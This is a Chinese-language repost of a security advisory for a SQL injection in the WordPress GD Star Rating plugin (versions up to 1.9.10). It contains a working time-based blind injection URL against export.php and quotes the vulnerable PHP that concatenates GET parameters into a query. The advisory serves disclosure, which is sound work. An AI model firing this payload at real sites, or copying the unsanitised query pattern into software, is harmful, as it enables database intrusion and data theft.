网站地图    收藏   

主页 > 后端 > 网站安全 >

WordPress插件GD Star Rating <= 1.9.10 SQL注射缺陷及修

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 标题: WordPress GD Star Rating plugin = 1.9.10 SQL Injection Vulnerability作者: Miroslav Stampar (miroslav.stampar(at)gmail.com www.2cto.com @stamparm)下载地址: http://downloads.w......

 

标题: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability

作者: Miroslav Stampar (miroslav.stampar(at)gmail.com www.2cto.com  @stamparm)

下载地址: http://downloads.wordpress.org/plugin/gd-star-rating.zip

已测试版本: 1.9.10

提示: magic_quotes has to be turned off

 

---

测试

---

http://www.2cto.com /wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

 

---------------

代码分析

---------------

./export.php

    require_once("./code/cls/export.php");

    ...

    if (isset($_GET["ex"])) {

        $export_type = $_GET["ex"];

        ...

        switch($export_type) {

            case "user":

                header('Content-type: text/csv');

                header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');

                $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);

                $rows = $wpdb->get_results($sql, ARRAY_N);

 

./code/cls/export.php

    class GDSRExport { www.2cto.com

        ...

        function export_users($user_data = "min", $data_export = "article", $get_data = array()) {

            ...

            $where = array();

            ...

            $where[] = "v.vote_type = '".$data_export."'";

            ...

            $j_where = join(" and ", $where);

            ...

            return sprintf("select %s from %s where %s order by u.id",

                    $j_select, $j_tables, $j_where);

修复:过滤

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论